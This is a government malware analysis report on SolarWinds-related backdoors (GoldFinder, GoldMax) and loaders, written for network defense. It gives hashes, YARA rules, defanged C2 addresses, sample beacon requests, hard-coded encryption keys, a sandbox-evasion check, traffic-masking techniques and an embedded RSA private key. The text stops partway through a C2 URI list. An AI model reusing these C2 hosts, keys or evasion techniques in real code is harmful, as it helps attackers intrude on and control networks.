This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.cisa.gov/tlp.

Description

This Malware Analysis Report (MAR) is the result of analytic efforts between the Cybersecurity and Infrastructure Security Agency (CISA) and the Cyber National Mission Force (CNMF) of U.S. Cyber Command. This report provides detailed analysis of several malicious samples and artifacts associated with the supply chain compromise of SolarWinds Orion network management software, attributed by the U.S. Government to the Russian SVR Foreign Intelligence Service (APT 29, Cozy Bear, The Dukes). CISA and CNMF are distributing this MAR to enable network defense and reduced exposure to malicious activity. This MAR includes suggested response actions and recommended mitigation techniques.

This report analyzes eighteen (18) files categorized by their associative behavior and structured configurations.

Seven (7) of the analyzed files are executables that attempt to connect to hard-coded command and control (C2) servers using Hypertext Transfer Protocol Secure (HTTPS) on port 443 and await a response upon execution.
   • Three (3) executables written in Golang (Go) and packed using the Ultimate Packer for Executables (UPX) were identified by the security company FireEye as SOLARFLARE malware. One (1) of which was unpacked and included in this report.
   • Four (4) executables written in Go were identified by FireEye as SUNSHUTTLE. Two (2) of which were unpacked and included in this report.

One (1) file is a text file that appears to be a configuration file for a SUNSHUTTLE sample.
Six (6) files are Visual Basic Script (VBScript) files designed to add the Windows registry keys to store and execute an obfuscated VBScript to download and execute a malicious payload from its C2 server. The VBScripts were identified as MISPRINT/SIBOT.
One (1) file was identified as a China Chopper webshell server-side component. The webshell was observed on a network with an active SUNSHUTTLE infection, which would provide the actor with an alternative method of accessing the network if the SUNSHUTTLE infection was remediated.

For more information on SolarWinds-related activity visit: https://us-cert.cisa.gov/remediating-apt-compromised-networks.

For a downloadable copy of IOCs, see: MAR-10327841-1.v1.stix

Click here for a PDF version of this report.

Submitted Files (14)

0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9 (finder.exe)

0d770e0d6ee77ed9d53500688831040b83b53b9de82afa586f20bb1894ee7116 (owafont.aspx)

4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec (bootcats.exe)

6b01eeef147d9e0cd6445f90e55e467b930df2de5d74e3d2f7610e80f2c5a2cd (f3.exe)

7e05ff08e32a64da75ec48b5e738181afb3e24a9f1da7f5514c5a11bb067cbfb ( rundll32registry_createremote…)

88cd1bc85e6a57fa254ede18f96566b33cee999c538902aefc5b819d71163d07 (prnmngrz.vbs)

94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45 (Lexicon.exeUnPacked)

acc74c920d19ea0a5e6007f929ef30b079eb2836b5b28e5ffcc20e68fa707e66 (rundll32registry_schtaskdaily….)

b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8 (Lexicon.exe)

cb80a074e5fde8d297c2c74a0377e612b4030cc756baf4fff3cc2452ebc04a9c (prndrvrn.vbs)

e9ddf486e5aeac02fc279659b72a1bec97103f413e089d8fabc30175f4cdbf15 (rundll32file_schtaskdaily.vbs)

ec5f07c169267dec875fdd135c1d97186b494a6f1214fb6b40036fd4ce725def (SchCachedSvc.exe)

f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c (WindowsDSVC.exe)

f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2 (f2.exe)

Additional Files (4)

a9037af30ff270901e9d5c2ee5ba41d547bc19c880f5cb27f50428f9715d318f (Final_vbscript.vbs)

bc7a3b3cfae59f1bfbde57154cb1e7deebdcdf6277ac446919df07e3b8a6e4df (runlog.dat.tmp)

d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d (finder.exe_Unpacked)

fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836 (WindowsDSVC.exe_Unpacked)

Domains (5)

eyetechltd.com

megatoolkit.com

nikeoutletinc.org

reyweb.com

sense4baby.fr

IPs (1)

185.225.69.69

0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9

Tags

trojan

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Relationships

Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SOLARFLARE/GoldFinder malware. The executable is UPX packed and when executed, the application will unpack and execute (d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d) in memory.

d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d

Tags

trojan

Details

Antivirus

YARA Rules

• rule CISA_3P_10327841_01 : SOLARFLARE trojan
  {
     meta:
         Author = “CISA Trusted Third Party”
         Incident = “10327841.r1.v1”
         Date = “2021-03-04”
         Actor = “n/a”
         Category = “Trojan”
         Family = “SOLARFLARE”
         Description = “Detects strings in Finder_exe samples”
         MD5_1 = “86e0f3071c3b3feecf36ea13891633fb”
         SHA256_1 = “d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d”
     strings:
         $Go_Lang = “Go build ID:”
         $main_func = “main.main”
         $main_encrypt = “main.func1”
         $StatusCode = “StatusCode:”
         $Headers = “Headers:”
         $Data = “Data:”
         $Target = “Target:”
     condition:
         (uint16(0) == 0x5A4D) and all of them
  }

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Relationships

Description

The file is an 64-bit Windows executable file. This file is the UPX unpacked sample from the UPX packed sample “finder.exe” (0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9). The application is written in the Golang (Go) open-source language. The application is designed to detect servers and network redirectors such as network security devices between the compromised systems and the C2 server. When executed, it attempts to connect to its C2 server using HTTPS on port 443. Once connection is established, it will log all of the HTTP request and response information from/to the hard-coded C2 in plaintext into “%current directory%loglog.txt” (Figure 1)

The malware uses the following hard-coded labels to store the request and response information in the log file:
Target: The C2 URI
StatusCode: HTTP response/status code
Headers: HTTP response headers and the values
Data: Data from the HTTP response received from the C2

Displayed below are sample HTTP request sent:

–Begin sample request–
GET / HTTP/1.1
Host: 185.225.69.69
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
–End sample request–

Screenshots

185.225.69.69

Tags

command-and-control

URLs

• hxxps[:]//185.225.69.69/live

Ports

HTTP Sessions

• GET / HTTP/1.1
  Host: 185.225.69.69
  User-Agent: Go-http-client/1.1
  Accept-Encoding: gzip
• GET /live/ HTTP/1.1
  Host: 185.225.69.69
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
  Connection: Keep-Alive
  Cookie: wDacJ87epY=8aebf98f920a2a198c00d87c246572b9; hBZ38QSGIR7UgOKT=NZQWAvMR6VGKA; 0aUvm7fgB4UB5=IhFr8BnqYbP8ZZg1Zi8VPQWKQTXdRG8q; CLAshlHL1M=114
  Referer: www[.]google.com    
  Accept-Encoding: gzip

Whois

inetnum:        185.225.68.0 – 185.225.71.255
netname:        HU-XET-20171012
country:        HU
org:            ORG-XK7-RIPE
admin-c:        XL650-RIPE
tech-c:         XL650-RIPE
status:         ALLOCATED PA
mnt-by:         RIPE-NCC-HM-MNT
mnt-by:         hu-xet-1-mnt
created:        2017-10-12T13:51:43Z
last-modified: 2017-10-12T13:51:43Z
source:         RIPE

organisation: ORG-XK7-RIPE
org-name:     XET Kft.
country:        HU
org-type:     LIR
address:        Fraknó u. 8/B 1/4
address:        1115
address:        Budapest
address:        HUNGARY
e-mail:         info@xethost.com
admin-c:        XL650-RIPE
tech-c:         XL650-RIPE
abuse-c:        AR43371-RIPE
mnt-ref:        hu-xet-1-mnt
mnt-by:         RIPE-NCC-HM-MNT
mnt-by:         hu-xet-1-mnt
created:        2017-10-10T14:51:34Z
last-modified: 2020-12-16T12:18:59Z
source:         RIPE
phone:         +36702451572

org:            ORG-XK7-RIPE
address:        Fraknó u. 8/B 1/4
address:        1115
address:        Budapest
address:        HUNGARY
phone:         +36309374590
nic-hdl:        XL650-RIPE
mnt-by:         hu-xet-1-mnt
created:        2017-10-10T14:51:33Z
last-modified: 2019-10-09T11:32:49Z
source:         RIPE
e-mail:         support@xethost.com

% Information related to ‘185.225.68.0/22AS30836’

route:         185.225.68.0/22
descr:         Originated to Xethost by 23Net
origin:         AS30836
mnt-by:         hu-xet-1-mnt
mnt-by:         NET23-MNT
created:        2017-10-17T13:35:44Z
last-modified: 2017-10-17T13:35:44Z
source:         RIPE

Relationships

Description

Finder.exe (0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9) and WindowsDSVC.exe (f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c) attempt to connect to this IP address.

f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2

Tags

trojan

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Relationships

Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SOLARFLARE/GoldFinder malware. F2.exe is a variant of SOLARFLARE/GoldFinder, a stage 2 environmental analysis tool that was used in tandem with SUNSHUTTLE/GoldMax. F2.exe checks the network capabilities of the host machine in order to identify the host as a future platform for SUNSHUTTLE/GoldMax. F2.exe is nearly identical to the “finder.exe” sample (0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9), differing only by the domain it communicates.

Upon execution, it reaches out to the hard-coded domain nikeoutletinc.org over port 443 while also creating a file in its running directory called “loglog.txt.” As it receives a 200 OK from the specified domain, the details of the response are appended to the “loglog.txt” file and the executable exits. This connection is using HTTPS TLSv1.2 for encryption. After running, f2.exe closes and does not have persistence to run itself. This tool is meant to generate innocent-looking traffic to prod the network defense posture and determine whether the infected host is able to reach out to the internet. Next, another version of “finder” would be used to determine connectivity to the C2 domain. In the compromise associated with this f2.exe sample, a nearly identical file named f3.exe performed the role of reaching out to the C2 domain. This file does not need administrator privileges to run.

After unpacking the sample, displayed below are strings of interest:

–Begin strings of interest–
hxxps[:]//nikeoutletinc.org/id (%v) <= evictCount (%v)initSpan: unaligned lengthinvalid port %q after hostinvalid request descriptormalformed HTTP status codemalformed chunked encodingname not unique on networknet/http: request canceledno CSI structure available

Go build ID: “XoNtlAkjvYqniOio6xGI/0DIub_zdwXYX9I94QTxf/mSa3AXim2woQ8ym8GoD-/H3vqlJigkBWLlKW0U7Eq”
–End strings of interest–

Displayed below are loglog.txt contents after running f2.exe in a lab environment to mimic network traffic:

2021/03/17 10:36:35 Target: hxxps[:]//nikeoutletinc.org/
2021/03/17 10:36:35 StatusCode: 200
2021/03/17 10:36:35 Headers: map[Content-Length:[258] Content-Type:[text/html] Date:[Wed, 17 Mar 2021 14:36:35 GMT] Server:[INetSim HTTPs Server]]
2021/03/17 10:36:35 Data:
2021/03/17 10:36:35 <html>
<head>
<title>INetSim default HTML page</title>
</head>
<body>
<p></p>
<p align=”center”>This is the default HTML page for INetSim HTTP server fake mode.</p>
<p align=”center”>This file is an HTML document.</p>
</body>
</html>

If no network connection exists the file will contain:

2021/03/17 10:38:46 Get “hxxps[:]//nikeoutletinc.org/”: dial tcp 192.168.1.1:443: connectex: No connection could be made because the target machine actively refused it.

nikeoutletinc.org

Tags

command-and-control

Whois

Domain Name: NIKEOUTLETINC.ORG
Registry Domain ID: D402200000007305706-LROR
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: www.namesilo.com
Updated Date: 2020-07-28T09:05:28Z
Creation Date: 2018-08-22T18:44:46Z
Registry Expiry Date: 2021-08-22T18:44:46Z
Registrar Registration Expiration Date:
Registrar: Namesilo, LLC
Registrar IANA ID: 1479
Registrar Abuse Contact Email: abuse@namesilo.com
Registrar Abuse Contact Phone: +1.4805240066
Reseller:
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registrant Organization: See PrivacyGuardian.org
Registrant State/Province: AZ
Registrant Country: US
Name Server: NS35.HOSTERBOX.COM
Name Server: NS36.HOSTERBOX.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form https://www.icann.org/wicf/)

Relationships

Description

f2.exe (f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2) and SchCachedSvc.exe (ec5f07c169267dec875fdd135c1d97186b494a6f1214fb6b40036fd4ce725def) attempt to connect to this domain.

6b01eeef147d9e0cd6445f90e55e467b930df2de5d74e3d2f7610e80f2c5a2cd

Tags

trojan

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SOLARFLARE/GoldFinder malware. F3.exe is a variant of SOLARFLARE/GoldFinder a stage 2 environmental analysis tool that was used in tandem with SUNSHUTTLE/GoldMax. F3.exe checks the network capabilities of the host machine in order to identify the host as a future platform for SUNSHUTTLE/GoldMax. F3.exe is nearly identical to the “finder.exe” sample (0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9), differing only by the domain it communicates. Upon execution, it reaches out to the hard-coded domain google.com over port 443 while also creating a file in its running directory called “loglog.txt.” As it receives a 200 OK from the specified domain, the details of the response are appended to the “loglog.txt” file and the executable exits. This tool is meant to generate innocent-looking traffic to prod the network defense posture and determine whether the infected host is able to reach the internet. Next, another version of “finder” would be used to determine connectivity to the C2 domain. In the compromise associated with this f3.exe sample, a nearly identical file named f2.exe performed the role of communicating to the C2 domain.

f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c

Tags

trojan

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Relationships

Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SUNSHUTTLE/Goldmax malware. The executable is UPX packed, and when executed, the application will unpack and execute (fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836) in memory.

fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836

Tags

backdoortrojan

Details

Antivirus

YARA Rules

• rule CISA_3P_10327841_02 : SOLARFLARE trojan
  {
     meta:
         Author = “CISA Trusted Third Party”
         Incident = “10327841.r1.v1”
         Date = “2021-03-04”
         Actor = “n/a”
         Category = “Trojan”
         Family = “SOLARFLARE”
         Description = “Detects strings in WindowsDSVC_exe samples”
         MD5_1 = “4de28110bfb88fdcdf4a0133e118d998”
         SHA256_1 = “fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836”
     strings:
         $Go_Lang = “Go build ID:”
         $main_func = “main.main”
         $main_encrypt = “main.encrypt”
         $main_MD5 = “main.GetMD5Hash”
         $main_beacon = “main.beaconing”
         $main_command = “main.resolve_command”
         $main_key1 = “main.request_session_key”
         $main_key2 = “main.retrieve_session_key”
         $main_clean = “main.clean_file”
         $main_wget = “main.wget_file”
     condition:
         (uint16(0) == 0x5A4D) and all of them
  }
• rule FireEye_21_00004531_01 : SUNSHUTTLE backdoor
  {
     meta:
         Author = “FireEye”
         Date = “2021-03-04”
         Last_Modified = “20210305_1704”
         Actor = “UNC2452”
         Category = “Backdoor”
         Family = “SUNSHUTTLE”
         Description = “This rule detects strings found in SUNSHUTTLE”
         MD5_1 = “9466c865f7498a35e4e1a8f48ef1dffd”
         SHA256_1 = “b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8”
     strings:
         $s1 = “main.request_session_key”
         $s2 = “main.define_internal_settings”
         $s3 = “main.send_file_part”
         $s4 = “main.clean_file”
         $s5 = “main.send_command_result”
         $s6 = “main.retrieve_session_key”
         $s7 = “main.save_internal_settings”
         $s8 = “main.resolve_command”
         $s9 = “main.write_file”
         $s10 = “main.beaconing”
         $s11 = “main.wget_file”
         $s12 = “main.fileExists”
         $s13 = “main.removeBase64Padding”
         $s14 = “main.addBase64Padding”
         $s15 = “main.delete_empty”
         $s16 = “main.GetMD5Hash”
     condition:
         filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (5 of them)
  }
• rule FireEye_21_00004531_02 : SUNSHUTTLE backdoor
  {
     meta:
         Author = “FireEye”
         Date = “2021-03-04”
         Last_Modified = “20210305_1704”
         Actor = “UNC2452”
         Category = “Backdoor”
         Family = “SUNSHUTTLE”
         Description = “This rule detects strings found in SUNSHUTTLE”
         MD5_1 = “9466c865f7498a35e4e1a8f48ef1dffd”
         SHA256_1 = “b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8”
     strings:
         $s1 = “LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk”
         $s2 = “LS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQ”
         $s3 = “Go build ID: “”
     condition:
         filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and all of them
  }

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Relationships

Description

The file is an 64-bit Windows executable file. This file is the UPX unpacked sample from the UPX packed sample “WindowsDSVC.exe” (f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c). The application is written in the Golang (Go) open-source language. When executed, the malware terminates its code execution if the victim’s system MAC address is equal to a hard-coded Hyper-V sandbox default MAC address value: “c8:27:cc:c2:37:5a.” If not, the malware will proceed to check if the file “%current directory%runlog.dat.tmp” is installed on the compromised system. If the file is not installed, it will create and encrypt configuration data using the Advanced Encryption Standard (AES)-256 encryption algorithm with the hard-coded key: “u66vk8e1xe0qpvs2ecp1d14y3qx3d334.” The encrypted data is Base64 encoded using the custom Base64 alphabet (“=” replaced with null) before being stored into “runlog.dat.tmp” in the current directory.

Displayed below is the format of the configuration before being encrypted and encoded:
   
–Begin configuration data–
Format: MD5 hash of the current time|5-15|0|0|base64 encoded user-agent string
Sample observed: 8aebf98f920a2a198c00d87c246572b9|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC83NS4w
–End configuration data–

The configuration contains: MD5 hash of the current time | the number range used by its pseudorandom number generator (PRNG) | enable and disable fake request network traffic feature | activation date| Base64 encoded user-agent string used for the requests| padding bytes.

It will attempt to send a HTTP GET request to its C2 server for a session key. The GET request contain a custom cookie (unique identifier value for the implant) for authentication, hard-coded User-Agent string and pseudo-randomly selected HTTP referer value from a list of websites below for masking C2 traffic:

–Begin randomized HTTP referer–
www[.]google.com
www[.]bing.com
www[.]facebook.com
www[.]mail.com
–End randomized HTTP referer–

It contains the following hard-coded legitimate and C2 Uniform Resource Identifier (URI):

–Begin C2 URIs–
https[:]//185.225.69.69/live
https[:]//185.225.69.69/icon.ico
https[:]//185.225.69.69/icon.png
https[:]//185.225.69.69/script.js
https[:]//185.225.69.69/style.css
https[:]//185.225.69.69/css/bootstrap.css
https[:]//185.225.69.69/scripts/jquery.js
https[:]//185.225.69.69/scripts/bootstrap.js
https[:]//185.225.69.69/css/style.css
–End C2 URIs–

–Begin legitimate URIs–
https[:]//www.gstatic.com/images/?
https[:]//ssl.gstatic.com/ui/v3/icons
https[:]//fonts.gstatic.com/s/font.woff2
https[:]//cdn.google.com/index
https[:]//code.jquery.com/
https[:]//cdn.mxpnl.com/
–End legitimate URIs–

Displayed below is a sample GET request for a session key:

–Begin sample request —
GET /live/ HTTP/1.1
Host: 185.225.69.69
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: Keep-Alive
Cookie: wDacJ87epY=8aebf98f920a2a198c00d87c246572b9; hBZ38QSGIR7UgOKT=NZQWAvMR6VGKA; 0aUvm7fgB4UB5=IhFr8BnqYbP8ZZg1Zi8VPQWKQTXdRG8q; CLAshlHL1M=114
Referer: www[.]google.com    
Accept-Encoding: gzip
–End sample request —

The response payload was not available for analysis.

Analysis indicates that after receiving the response payload from its C2, it will send another HTTP GET request to its C2 similar to the above GET request. The only difference being the value of one of the cookies. The malware sends the following traffic to blend in with real traffic if the fake request network traffic feature in the configuration is enabled (set to 1):

Displayed below are sample requests:

–Begin request–
GET /ui/v3/icons/ HTTP/1.1
Host: ssl[.]gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: Keep-Alive
Referer: www[.]google.com
Accept-Encoding: gzip
–Begin request–

–Begin request–
GET /css/bootstrap.css/ HTTP/1.1
Host: 185[.]225.69.69
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: Keep-Alive
Referer: www[.]facebook.com
Accept-Encoding: gzip
–Begin request–

The malware is designed to receive a command from its C2 to allow its remote operator to download and execute files, upload files, start a command shell, and update the malware configuration data fields (overwriting the existing data in its configuration file with the new configuration data from the remote operator). The configuration data file can allow the remote operator to set a new activation date, update the number range used by its PRNG, enable and disable fake request network traffic feature, replace the existing URI and User-Agent values.

The malware contains a Base64-encoded RSA private key that may be used to decrypt the RSA Optimal Asymmetric Encryption Padding (OAEP) encrypted session key received from its C2:

–BEGIN PRIVATE KEY–
MIIEowIBAAKCAQEAn7SgleG8sxrq76pXIY/6mKi0EHfN2NVSrY1ELilCSVXUFZl4
aQTnuWPlJzRMB0aLlxl4HXyXWJLgtRT//Ar1TTai5/Z/OfP82y0cggudXhg6rc9U
fX5zykr1UNtl7Vl13nGh39YySEcMP1Eyz+L8OZ9WAs7G4+s9N7I3Di+a+ZlwG4Rs
Jb1zNrqxQlmr5bWgwRlWj0I/ngo7Ej/CjLXJNwW4LOcJu2Ok9R6SLWX1CpdvY/DD
Gi5Zdw3RzIuKDwRbUcIRApuiRxjxY/Os4+A+lhazmBsVK59KGKZZ4WckAzdrtFEm
g6VVlWjBv28PGIpXvhH+M9vUg3uPmcwXchg7wwIDAQABAoIBAEJlx2npCxnvtANm
b4k9ofM8GHjMRmHC9ve+xrzmXG++5kkAoGYRKwIRvSDahk10D+8HIMApn4assg23
KGIycB/k+j+0ZNrETLkW/UY36/pF2oeOrlLqctuE5I70WGEgk3ejCKjWFduk5jug
155EgZa3XvwV2ezCTZZNWsRkGGtyrj4AZ/vRX4rIyvMTFzm4/H5Pj6QTCUwTPt2i
ukXF7vf8MeDk4m77t7+x40nQ94I1Ti6LtzhiuRMr9Eub7GUHS8wtUq4527FOeKsC
reUDNETCmTZGnAT7KuXRNbhIKyxL/6Kep7Yb18PF5WF9Lyocx/VDHKPoOdv5pqTP
7yn0CLECgYEA0jwbgGTG5I33ghzOeAUmx2hRAPtmFTD9s/7X2vk91lmFCHqg8hVh
bbz6ELWKI9LP4XPzK4uMifJ2z3PXmNCRw4NBZy+0T132PQZd1V1x9lFOmAmiybRi
ePCPXtjVPbVQnV3F66Ad/8jv8pvxIZBYBxFGm6FF86WaoJXNKAILv4kCgYEAwnil
FKQYwOyARY5lwjY5dd04r72R3y0Wpa2b8Bo8cJjUR5VsH1XTZnmV/C+dMWhdlB8B
vNZxUOLO16hFhqu/rPEwk8RyvrHU+b89O8mnphVYSq0hEsSBMH5BUjqQiHKu+BEz
vsHb+KVJTcvRIOdrtjZJukeZ2toH9PVolpg44esCgYAffRFBcda4dOsVeesS3vKn
+1/mncD0e5oEU69RBPPWHyJl2rgwijNFlIB/8DD4nKK2Sf+qDgTGxKI3AErSgKrU
ddxd8C85lAFFsqZrRsvC8PqsmwTe4T2+j4lp02BdFcM1Ts5ONHVJ0nbeB61eMZh9
toC03rrze2JlmwpXa7cGwQKBgFUVNZx3QwE9N822xFyZHsCrff6doPGUp4DrGPuO
bv0QUGfVPw3infAKqA1Cw7J3J+IDQt5csA0kfjyqOWj3QZAnogo0e8NkyHpQKjk7
O+cVFaDuaDbu1FrkEi4ow01/Z3/O/uWpqVT687xevOt5dI2u6MjgRLcUh0CsEgs5
JEHrAoGBAL4zB1serfGXHvLO9dDiSO34w5XcVQK4E34ytM224blp16U0nz5hfSQD
WQaISJs/aqBuUgVUA3WZHZbEvKbcU5u0Ieos+rIGJrUv0tJtLgtOBmfz1q3jOKOY
qwQ6HoAHqfOC5FS6t0kBDsrssGHQTqTtrnxhL6l6oBlWWXNMxQ4g
–END PRIVATE KEY–

b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8

Tags

backdoortrojan

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Relationships

Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SUNSHUTTLE/Goldmax malware. The executable is UPX packed and when executed, the application will unpack and execute (94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45) in memory.

94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45

Tags

backdoortrojan

Details

Antivirus

YARA Rules

• rule CISA_3P_10327841_02 : SOLARFLARE trojan
  {
     meta:
         Author = “CISA Trusted Third Party”
         Incident = “10327841.r1.v1”
         Date = “2021-03-04”
         Actor = “n/a”
         Category = “Trojan”
         Family = “SOLARFLARE”
         Description = “Detects strings in WindowsDSVC_exe samples”
         MD5_1 = “4de28110bfb88fdcdf4a0133e118d998”
         SHA256_1 = “fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836”
     strings:
         $Go_Lang = “Go build ID:”
         $main_func = “main.main”
         $main_encrypt = “main.encrypt”
         $main_MD5 = “main.GetMD5Hash”
         $main_beacon = “main.beaconing”
         $main_command = “main.resolve_command”
         $main_key1 = “main.request_session_key”
         $main_key2 = “main.retrieve_session_key”
         $main_clean = “main.clean_file”
         $main_wget = “main.wget_file”
     condition:
         (uint16(0) == 0x5A4D) and all of them
  }
• rule FireEye_21_00004531_01 : SUNSHUTTLE backdoor
  {
     meta:
         Author = “FireEye”
         Date = “2021-03-04”
         Last_Modified = “20210305_1704”
         Actor = “UNC2452”
         Category = “Backdoor”
         Family = “SUNSHUTTLE”
         Description = “This rule detects strings found in SUNSHUTTLE”
         MD5_1 = “9466c865f7498a35e4e1a8f48ef1dffd”
         SHA256_1 = “b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8”
     strings:
         $s1 = “main.request_session_key”
         $s2 = “main.define_internal_settings”
         $s3 = “main.send_file_part”
         $s4 = “main.clean_file”
         $s5 = “main.send_command_result”
         $s6 = “main.retrieve_session_key”
         $s7 = “main.save_internal_settings”
         $s8 = “main.resolve_command”
         $s9 = “main.write_file”
         $s10 = “main.beaconing”
         $s11 = “main.wget_file”
         $s12 = “main.fileExists”
         $s13 = “main.removeBase64Padding”
         $s14 = “main.addBase64Padding”
         $s15 = “main.delete_empty”
         $s16 = “main.GetMD5Hash”
     condition:
         filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (5 of them)
  }
• rule FireEye_21_00004531_02 : SUNSHUTTLE backdoor
  {
     meta:
         Author = “FireEye”
         Date = “2021-03-04”
         Last_Modified = “20210305_1704”
         Actor = “UNC2452”
         Category = “Backdoor”
         Family = “SUNSHUTTLE”
         Description = “This rule detects strings found in SUNSHUTTLE”
         MD5_1 = “9466c865f7498a35e4e1a8f48ef1dffd”
         SHA256_1 = “b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8”
     strings:
         $s1 = “LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk”
         $s2 = “LS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQ”
         $s3 = “Go build ID: “”
     condition:
         filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and all of them
  }

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Relationships

Description

The file is an 64-bit Windows executable file. This file is the UPX unpacked sample from the UPX packed sample “Lexicon.exe” (b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8). The application is written in the Golang (Go) open-source language. When executed, the malware terminates its code execution if the victim’s system MAC address is equal to a hard-coded Hyper-V sandbox default MAC address value: “c8:27:cc:c2:37:5a.” If not, the malware will proceed to check if the file “%current directory%config.dat.tmp” is installed on the compromised system. If the file is not installed, it will create and encrypt a configuration data using the AES-256 encryption algorithm with the hard-coded key: “hz8l2fnpvp71ujfy8rht6b0smouvp9k8.” The encrypted data is Base64 encoded using the custom Base64 alphabet (“=” replaced with null) before stored into “config.dat.tmp” in the current directory.

Displayed below is the format of the configuration before being encrypted and encoded:
   
–Begin configuration data–
Format: MD5 hash of the current time|5-15|0|0|base64 encoded user-agent string
Sample observed: d2ed208623fa66d2e5372c27c9230fb8|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC83NS4w
–End configuration data–

The configuration contains: MD5 hash of the current time | the number range used by its PRNG | enable and disable fake request network traffic feature | activation date| Base64 encoded user-agent string used for the requests| padding bytes.

It will attempt to send an HTTP GET request to its C2 server for a session key. The GET request contains a custom cookie (unique identifier value for the implant) for authentication, hard-coded User-Agent string and pseudo-randomly selected HTTP referer value from a list of websites below for masking C2 traffic:

–Begin randomized HTTP referer–
www[.]bing.com
www[.]google.com
www[.]facebook.com
www[.]yahoo.com
–End randomized HTTP referer–

It contains the following hard-coded legitimate and C2 URIs:

–Begin C2 URIs–
https[:]//reyweb.com/icon.ico
https[:]//reyweb.com/icon.png
https[:]//reyweb.com/script.js
https[:]//reyweb.com/style.css
https[:]//reyweb.com/css/style.css
